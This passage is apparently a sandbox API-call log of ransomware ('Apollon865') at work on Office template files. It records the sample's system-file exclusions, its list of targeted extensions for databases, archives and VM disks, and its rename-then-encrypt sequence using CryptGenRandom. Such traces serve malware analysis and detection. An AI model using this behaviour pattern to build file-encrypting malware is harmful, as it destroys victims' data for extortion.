	[0065.126] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0065.127] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34067500, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14fa2ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34067500, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x6005, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1 Top.accdt", cAlternateFileName="1TOP~1.ACC")) returned 1
	[0065.127] lstrcmpiW (lpString1="1 Top.accdt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.127] lstrcmpiW (lpString1="1 Top.accdt", lpString2="Apollon865.txt.exe") returned -1
	[0065.127] lstrcmpiW (lpString1="1 Top.accdt", lpString2=".") returned 1
	[0065.127] lstrcmpiW (lpString1="1 Top.accdt", lpString2="..") returned 1
	[0065.127] lstrcmpiW (lpString1="1 Top.accdt", lpString2="windows") returned -1
	[0065.127] lstrcmpiW (lpString1="1 Top.accdt", lpString2="bootmgr") returned -1
	[0065.127] lstrcmpiW (lpString1="1 Top.accdt", lpString2="temp") returned -1
	[0065.127] lstrcmpiW (lpString1="1 Top.accdt", lpString2="pagefile.sys") returned -1
	[0065.127] lstrcmpiW (lpString1="1 Top.accdt", lpString2="boot") returned -1
	[0065.127] lstrcmpiW (lpString1="1 Top.accdt", lpString2="ids.txt") returned -1
	[0065.127] lstrcmpiW (lpString1="1 Top.accdt", lpString2="ntuser.dat") returned -1
	[0065.127] lstrcmpiW (lpString1="1 Top.accdt", lpString2="perflogs") returned -1
	[0065.127] lstrcmpiW (lpString1="1 Top.accdt", lpString2="MSBuild") returned -1
	[0065.127] lstrlenW (lpString="1 Top.accdt") returned 11
	[0065.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\1 Right.accdt") returned 74
	[0065.127] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="1 Top.accdt" | out: lpString1="1 Top.accdt") returned="1 Top.accdt"
	[0065.127] lstrlenW (lpString="1 Top.accdt") returned 11
	[0065.127] lstrlenW (lpString="Apollon865") returned 10
	[0065.127] lstrcmpiW (lpString1=" Top.accdt", lpString2="Apollon865") returned -1
	[0065.127] lstrlenW (lpString=".dll") returned 4
	[0065.127] lstrcmpiW (lpString1="1 Top.accdt", lpString2=".dll") returned 1
	[0065.127] lstrlenW (lpString=".lnk") returned 4
	[0065.127] lstrcmpiW (lpString1="1 Top.accdt", lpString2=".lnk") returned 1
	[0065.127] lstrlenW (lpString=".ini") returned 4
	[0065.127] lstrcmpiW (lpString1="1 Top.accdt", lpString2=".ini") returned 1
	[0065.127] lstrlenW (lpString=".sys") returned 4
	[0065.127] lstrcmpiW (lpString1="1 Top.accdt", lpString2=".sys") returned 1
	[0065.127] lstrlenW (lpString="1 Top.accdt") returned 11
	[0065.127] lstrlenW (lpString="bak") returned 3
	[0065.127] lstrcmpiW (lpString1="cdt", lpString2="bak") returned 1
	[0065.127] lstrlenW (lpString="ba_") returned 3
	[0065.128] lstrcmpiW (lpString1="cdt", lpString2="ba_") returned 1
	[0065.128] lstrlenW (lpString="dbb") returned 3
	[0065.128] lstrcmpiW (lpString1="cdt", lpString2="dbb") returned -1
	[0065.128] lstrlenW (lpString="vmdk") returned 4
	[0065.128] lstrcmpiW (lpString1="ccdt", lpString2="vmdk") returned -1
	[0065.128] lstrlenW (lpString="rar") returned 3
	[0065.128] lstrcmpiW (lpString1="cdt", lpString2="rar") returned -1
	[0065.128] lstrlenW (lpString="zip") returned 3
	[0065.128] lstrcmpiW (lpString1="cdt", lpString2="zip") returned -1
	[0065.128] lstrlenW (lpString="tgz") returned 3
	[0065.128] lstrcmpiW (lpString1="cdt", lpString2="tgz") returned -1
	[0065.128] lstrlenW (lpString="vbox") returned 4
	[0065.128] lstrcmpiW (lpString1="ccdt", lpString2="vbox") returned -1
	[0065.128] lstrlenW (lpString="vdi") returned 3
	[0065.128] lstrcmpiW (lpString1="cdt", lpString2="vdi") returned -1
	[0065.128] lstrlenW (lpString="vhd") returned 3
	[0065.128] lstrcmpiW (lpString1="cdt", lpString2="vhd") returned -1
	[0065.128] lstrlenW (lpString="vhdx") returned 4
	[0065.128] lstrcmpiW (lpString1="ccdt", lpString2="vhdx") returned -1
	[0065.128] lstrlenW (lpString="avhd") returned 4
	[0065.128] lstrcmpiW (lpString1="ccdt", lpString2="avhd") returned 1
	[0065.128] lstrlenW (lpString="db") returned 2
	[0065.128] lstrcmpiW (lpString1="dt", lpString2="db") returned 1
	[0065.128] lstrlenW (lpString="db2") returned 3
	[0065.128] lstrcmpiW (lpString1="cdt", lpString2="db2") returned -1
	[0065.128] lstrlenW (lpString="db3") returned 3
	[0065.128] lstrcmpiW (lpString1="cdt", lpString2="db3") returned -1
	[0065.128] lstrlenW (lpString="dbf") returned 3
	[0065.128] lstrcmpiW (lpString1="cdt", lpString2="dbf") returned -1
	[0065.128] lstrlenW (lpString="mdf") returned 3
	[0065.128] lstrcmpiW (lpString1="cdt", lpString2="mdf") returned -1
	[0065.128] lstrlenW (lpString="mdb") returned 3
	[0065.128] lstrcmpiW (lpString1="cdt", lpString2="mdb") returned -1
	[0065.128] lstrlenW (lpString="sql") returned 3
	[0065.129] lstrcmpiW (lpString1="cdt", lpString2="sql") returned -1
	[0065.129] lstrlenW (lpString="sqlite") returned 6
	[0065.129] lstrcmpiW (lpString1=".accdt", lpString2="sqlite") returned -1
	[0065.129] lstrlenW (lpString="sqlite3") returned 7
	[0065.129] lstrcmpiW (lpString1="p.accdt", lpString2="sqlite3") returned -1
	[0065.129] lstrlenW (lpString="sqlitedb") returned 8
	[0065.129] lstrcmpiW (lpString1="op.accdt", lpString2="sqlitedb") returned -1
	[0065.129] lstrlenW (lpString="xml") returned 3
	[0065.129] lstrcmpiW (lpString1="cdt", lpString2="xml") returned -1
	[0065.129] lstrlenW (lpString="$er") returned 3
	[0065.129] lstrcmpiW (lpString1="cdt", lpString2="$er") returned 1
	[0065.129] lstrlenW (lpString="4dd") returned 3
	[0065.129] lstrcmpiW (lpString1="cdt", lpString2="4dd") returned 1
	[0065.129] lstrlenW (lpString="4dl") returned 3
	[0065.129] lstrcmpiW (lpString1="cdt", lpString2="4dl") returned 1
	[0065.129] lstrlenW (lpString="^^^") returned 3
	[0065.129] lstrcmpiW (lpString1="cdt", lpString2="^^^") returned 1
	[0065.129] lstrlenW (lpString="abs") returned 3
	[0065.129] lstrcmpiW (lpString1="cdt", lpString2="abs") returned 1
	[0065.129] lstrlenW (lpString="abx") returned 3
	[0065.129] lstrcmpiW (lpString1="cdt", lpString2="abx") returned 1
	[0065.129] lstrlenW (lpString="accdb") returned 5
	[0065.129] lstrcmpiW (lpString1="accdt", lpString2="accdb") returned 1
	[0065.129] lstrlenW (lpString="accdc") returned 5
	[0065.129] lstrcmpiW (lpString1="accdt", lpString2="accdc") returned 1
	[0065.129] lstrlenW (lpString="accde") returned 5
	[0065.129] lstrcmpiW (lpString1="accdt", lpString2="accde") returned 1
	[0065.129] lstrlenW (lpString="accdr") returned 5
	[0065.129] lstrcmpiW (lpString1="accdt", lpString2="accdr") returned 1
	[0065.129] lstrlenW (lpString="accdt") returned 5
	[0065.129] lstrcmpiW (lpString1="accdt", lpString2="accdt") returned 0
	[0065.129] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\1 Top.accdt.Apollon865") returned 83
	[0065.129] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\1 Top.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\1 top.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\1 Top.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\1 top.accdt.apollon865"), dwFlags=0x1) returned 1
	[0065.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\1 Top.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\1 top.accdt.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0065.130] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=24581) returned 1
	[0065.131] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0065.131] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0065.131] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0065.131] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0065.132] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.132] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.132] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6310, lpName=0x0) returned 0x150
	[0065.136] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6310) returned 0x100000
	[0065.138] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0065.138] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0065.138] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.139] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0065.139] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0065.139] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0065.139] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0065.139] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.139] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.139] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0065.139] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.139] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0065.139] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.139] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0065.139] CloseHandle (hObject=0x150) returned 1
	[0065.140] CloseHandle (hObject=0x118) returned 1
	[0065.140] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0065.140] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0065.140] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0065.140] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4385be00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14fc9050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4385be00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x6306, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2 Right.accdt", cAlternateFileName="2RIGHT~1.ACC")) returned 1
	[0065.140] lstrcmpiW (lpString1="2 Right.accdt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.140] lstrcmpiW (lpString1="2 Right.accdt", lpString2="Apollon865.txt.exe") returned -1
	[0065.140] lstrcmpiW (lpString1="2 Right.accdt", lpString2=".") returned 1
	[0065.140] lstrcmpiW (lpString1="2 Right.accdt", lpString2="..") returned 1
	[0065.140] lstrcmpiW (lpString1="2 Right.accdt", lpString2="windows") returned -1
	[0065.140] lstrcmpiW (lpString1="2 Right.accdt", lpString2="bootmgr") returned -1
	[0065.140] lstrcmpiW (lpString1="2 Right.accdt", lpString2="temp") returned -1
	[0065.140] lstrcmpiW (lpString1="2 Right.accdt", lpString2="pagefile.sys") returned -1
	[0065.140] lstrcmpiW (lpString1="2 Right.accdt", lpString2="boot") returned -1
	[0065.140] lstrcmpiW (lpString1="2 Right.accdt", lpString2="ids.txt") returned -1
	[0065.140] lstrcmpiW (lpString1="2 Right.accdt", lpString2="ntuser.dat") returned -1
	[0065.140] lstrcmpiW (lpString1="2 Right.accdt", lpString2="perflogs") returned -1
	[0065.140] lstrcmpiW (lpString1="2 Right.accdt", lpString2="MSBuild") returned -1
	[0065.140] lstrlenW (lpString="2 Right.accdt") returned 13
	[0065.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\1 Top.accdt") returned 72
	[0065.140] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="2 Right.accdt" | out: lpString1="2 Right.accdt") returned="2 Right.accdt"
	[0065.140] lstrlenW (lpString="2 Right.accdt") returned 13
	[0065.141] lstrlenW (lpString="Apollon865") returned 10
	[0065.141] lstrcmpiW (lpString1="ight.accdt", lpString2="Apollon865") returned 1
	[0065.141] lstrlenW (lpString=".dll") returned 4
	[0065.141] lstrcmpiW (lpString1="2 Right.accdt", lpString2=".dll") returned 1
	[0065.141] lstrlenW (lpString=".lnk") returned 4
	[0065.141] lstrcmpiW (lpString1="2 Right.accdt", lpString2=".lnk") returned 1
	[0065.141] lstrlenW (lpString=".ini") returned 4
	[0065.141] lstrcmpiW (lpString1="2 Right.accdt", lpString2=".ini") returned 1
	[0065.141] lstrlenW (lpString=".sys") returned 4
	[0065.141] lstrcmpiW (lpString1="2 Right.accdt", lpString2=".sys") returned 1
	[0065.141] lstrlenW (lpString="2 Right.accdt") returned 13
	[0065.141] lstrlenW (lpString="bak") returned 3
	[0065.141] lstrcmpiW (lpString1="cdt", lpString2="bak") returned 1
	[0065.141] lstrlenW (lpString="ba_") returned 3
	[0065.141] lstrcmpiW (lpString1="cdt", lpString2="ba_") returned 1
	[0065.141] lstrlenW (lpString="dbb") returned 3
	[0065.141] lstrcmpiW (lpString1="cdt", lpString2="dbb") returned -1
	[0065.141] lstrlenW (lpString="vmdk") returned 4
	[0065.141] lstrcmpiW (lpString1="ccdt", lpString2="vmdk") returned -1
	[0065.141] lstrlenW (lpString="rar") returned 3
	[0065.141] lstrcmpiW (lpString1="cdt", lpString2="rar") returned -1
	[0065.141] lstrlenW (lpString="zip") returned 3
	[0065.141] lstrcmpiW (lpString1="cdt", lpString2="zip") returned -1
	[0065.141] lstrlenW (lpString="tgz") returned 3
	[0065.141] lstrcmpiW (lpString1="cdt", lpString2="tgz") returned -1
	[0065.141] lstrlenW (lpString="vbox") returned 4
	[0065.141] lstrcmpiW (lpString1="ccdt", lpString2="vbox") returned -1
	[0065.141] lstrlenW (lpString="vdi") returned 3
	[0065.141] lstrcmpiW (lpString1="cdt", lpString2="vdi") returned -1
	[0065.141] lstrlenW (lpString="vhd") returned 3
	[0065.141] lstrcmpiW (lpString1="cdt", lpString2="vhd") returned -1
	[0065.141] lstrlenW (lpString="vhdx") returned 4
	[0065.141] lstrcmpiW (lpString1="ccdt", lpString2="vhdx") returned -1
	[0065.141] lstrlenW (lpString="avhd") returned 4
	[0065.142] lstrcmpiW (lpString1="ccdt", lpString2="avhd") returned 1
	[0065.142] lstrlenW (lpString="db") returned 2
	[0065.142] lstrcmpiW (lpString1="dt", lpString2="db") returned 1
	[0065.142] lstrlenW (lpString="db2") returned 3
	[0065.142] lstrcmpiW (lpString1="cdt", lpString2="db2") returned -1
	[0065.142] lstrlenW (lpString="db3") returned 3
	[0065.142] lstrcmpiW (lpString1="cdt", lpString2="db3") returned -1
	[0065.142] lstrlenW (lpString="dbf") returned 3
	[0065.142] lstrcmpiW (lpString1="cdt", lpString2="dbf") returned -1
	[0065.142] lstrlenW (lpString="mdf") returned 3
	[0065.142] lstrcmpiW (lpString1="cdt", lpString2="mdf") returned -1
	[0065.142] lstrlenW (lpString="mdb") returned 3
	[0065.142] lstrcmpiW (lpString1="cdt", lpString2="mdb") returned -1
	[0065.142] lstrlenW (lpString="sql") returned 3
	[0065.142] lstrcmpiW (lpString1="cdt", lpString2="sql") returned -1
	[0065.142] lstrlenW (lpString="sqlite") returned 6
	[0065.142] lstrcmpiW (lpString1=".accdt", lpString2="sqlite") returned -1
	[0065.142] lstrlenW (lpString="sqlite3") returned 7
	[0065.142] lstrcmpiW (lpString1="t.accdt", lpString2="sqlite3") returned 1
	[0065.142] lstrlenW (lpString="sqlitedb") returned 8
	[0065.142] lstrcmpiW (lpString1="ht.accdt", lpString2="sqlitedb") returned -1
	[0065.142] lstrlenW (lpString="xml") returned 3
	[0065.142] lstrcmpiW (lpString1="cdt", lpString2="xml") returned -1
	[0065.142] lstrlenW (lpString="$er") returned 3
	[0065.142] lstrcmpiW (lpString1="cdt", lpString2="$er") returned 1
	[0065.142] lstrlenW (lpString="4dd") returned 3
	[0065.142] lstrcmpiW (lpString1="cdt", lpString2="4dd") returned 1
	[0065.142] lstrlenW (lpString="4dl") returned 3
	[0065.142] lstrcmpiW (lpString1="cdt", lpString2="4dl") returned 1
	[0065.142] lstrlenW (lpString="^^^") returned 3
	[0065.142] lstrcmpiW (lpString1="cdt", lpString2="^^^") returned 1
	[0065.142] lstrlenW (lpString="abs") returned 3
	[0065.142] lstrcmpiW (lpString1="cdt", lpString2="abs") returned 1
	[0065.142] lstrlenW (lpString="abx") returned 3
	[0065.143] lstrcmpiW (lpString1="cdt", lpString2="abx") returned 1
	[0065.143] lstrlenW (lpString="accdb") returned 5
	[0065.143] lstrcmpiW (lpString1="accdt", lpString2="accdb") returned 1
	[0065.143] lstrlenW (lpString="accdc") returned 5
	[0065.143] lstrcmpiW (lpString1="accdt", lpString2="accdc") returned 1
	[0065.143] lstrlenW (lpString="accde") returned 5
	[0065.143] lstrcmpiW (lpString1="accdt", lpString2="accde") returned 1
	[0065.143] lstrlenW (lpString="accdr") returned 5
	[0065.143] lstrcmpiW (lpString1="accdt", lpString2="accdr") returned 1
	[0065.143] lstrlenW (lpString="accdt") returned 5
	[0065.143] lstrcmpiW (lpString1="accdt", lpString2="accdt") returned 0
	[0065.143] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2 Right.accdt.Apollon865") returned 85
	[0065.143] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2 Right.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2 right.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2 Right.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2 right.accdt.apollon865"), dwFlags=0x1) returned 1
	[0065.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2 Right.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2 right.accdt.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0065.144] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=25350) returned 1
	[0065.144] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0065.144] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0065.144] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0065.144] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0065.145] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.145] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.145] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6610, lpName=0x0) returned 0x150
	[0065.146] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6610) returned 0x100000
	[0065.152] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0065.152] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0065.152] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.153] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0065.153] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0065.153] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0065.153] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0065.153] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.153] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.153] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0065.153] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.153] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0065.153] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.153] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0065.153] CloseHandle (hObject=0x150) returned 1
	[0065.154] CloseHandle (hObject=0x118) returned 1
	[0065.154] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0065.154] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0065.154] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0065.154] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bddf900, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4bddf900, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x63ce, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2 Top.accdt", cAlternateFileName="2TOP~1.ACC")) returned 1
	[0065.154] lstrcmpiW (lpString1="2 Top.accdt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.154] lstrcmpiW (lpString1="2 Top.accdt", lpString2="Apollon865.txt.exe") returned -1
	[0065.154] lstrcmpiW (lpString1="2 Top.accdt", lpString2=".") returned 1
	[0065.154] lstrcmpiW (lpString1="2 Top.accdt", lpString2="..") returned 1
	[0065.154] lstrcmpiW (lpString1="2 Top.accdt", lpString2="windows") returned -1
	[0065.154] lstrcmpiW (lpString1="2 Top.accdt", lpString2="bootmgr") returned -1
	[0065.154] lstrcmpiW (lpString1="2 Top.accdt", lpString2="temp") returned -1
	[0065.154] lstrcmpiW (lpString1="2 Top.accdt", lpString2="pagefile.sys") returned -1
	[0065.154] lstrcmpiW (lpString1="2 Top.accdt", lpString2="boot") returned -1
	[0065.154] lstrcmpiW (lpString1="2 Top.accdt", lpString2="ids.txt") returned -1
	[0065.154] lstrcmpiW (lpString1="2 Top.accdt", lpString2="ntuser.dat") returned -1
	[0065.154] lstrcmpiW (lpString1="2 Top.accdt", lpString2="perflogs") returned -1
	[0065.154] lstrcmpiW (lpString1="2 Top.accdt", lpString2="MSBuild") returned -1
	[0065.154] lstrlenW (lpString="2 Top.accdt") returned 11
	[0065.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2 Right.accdt") returned 74
	[0065.154] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="2 Top.accdt" | out: lpString1="2 Top.accdt") returned="2 Top.accdt"
	[0065.154] lstrlenW (lpString="2 Top.accdt") returned 11
	[0065.155] lstrlenW (lpString="Apollon865") returned 10
	[0065.155] lstrcmpiW (lpString1=" Top.accdt", lpString2="Apollon865") returned -1
	[0065.155] lstrlenW (lpString=".dll") returned 4
	[0065.155] lstrcmpiW (lpString1="2 Top.accdt", lpString2=".dll") returned 1
	[0065.155] lstrlenW (lpString=".lnk") returned 4
	[0065.155] lstrcmpiW (lpString1="2 Top.accdt", lpString2=".lnk") returned 1
	[0065.155] lstrlenW (lpString=".ini") returned 4
	[0065.155] lstrcmpiW (lpString1="2 Top.accdt", lpString2=".ini") returned 1
	[0065.155] lstrlenW (lpString=".sys") returned 4
	[0065.155] lstrcmpiW (lpString1="2 Top.accdt", lpString2=".sys") returned 1
	[0065.155] lstrlenW (lpString="2 Top.accdt") returned 11
	[0065.155] lstrlenW (lpString="bak") returned 3
	[0065.155] lstrcmpiW (lpString1="cdt", lpString2="bak") returned 1
	[0065.155] lstrlenW (lpString="ba_") returned 3
	[0065.155] lstrcmpiW (lpString1="cdt", lpString2="ba_") returned 1
	[0065.155] lstrlenW (lpString="dbb") returned 3
	[0065.155] lstrcmpiW (lpString1="cdt", lpString2="dbb") returned -1
	[0065.155] lstrlenW (lpString="vmdk") returned 4
	[0065.155] lstrcmpiW (lpString1="ccdt", lpString2="vmdk") returned -1
	[0065.155] lstrlenW (lpString="rar") returned 3
	[0065.155] lstrcmpiW (lpString1="cdt", lpString2="rar") returned -1
	[0065.155] lstrlenW (lpString="zip") returned 3
	[0065.155] lstrcmpiW (lpString1="cdt", lpString2="zip") returned -1
	[0065.155] lstrlenW (lpString="tgz") returned 3
	[0065.155] lstrcmpiW (lpString1="cdt", lpString2="tgz") returned -1
	[0065.155] lstrlenW (lpString="vbox") returned 4
	[0065.155] lstrcmpiW (lpString1="ccdt", lpString2="vbox") returned -1
	[0065.155] lstrlenW (lpString="vdi") returned 3
	[0065.155] lstrcmpiW (lpString1="cdt", lpString2="vdi") returned -1
	[0065.155] lstrlenW (lpString="vhd") returned 3
	[0065.155] lstrcmpiW (lpString1="cdt", lpString2="vhd") returned -1
	[0065.155] lstrlenW (lpString="vhdx") returned 4
	[0065.155] lstrcmpiW (lpString1="ccdt", lpString2="vhdx") returned -1
	[0065.155] lstrlenW (lpString="avhd") returned 4
	[0065.155] lstrcmpiW (lpString1="ccdt", lpString2="avhd") returned 1
	[0065.155] lstrlenW (lpString="db") returned 2
	[0065.156] lstrcmpiW (lpString1="dt", lpString2="db") returned 1
	[0065.156] lstrlenW (lpString="db2") returned 3
	[0065.156] lstrcmpiW (lpString1="cdt", lpString2="db2") returned -1
	[0065.156] lstrlenW (lpString="db3") returned 3
	[0065.156] lstrcmpiW (lpString1="cdt", lpString2="db3") returned -1
	[0065.156] lstrlenW (lpString="dbf") returned 3
	[0065.156] lstrcmpiW (lpString1="cdt", lpString2="dbf") returned -1
	[0065.156] lstrlenW (lpString="mdf") returned 3
	[0065.156] lstrcmpiW (lpString1="cdt", lpString2="mdf") returned -1
	[0065.156] lstrlenW (lpString="mdb") returned 3
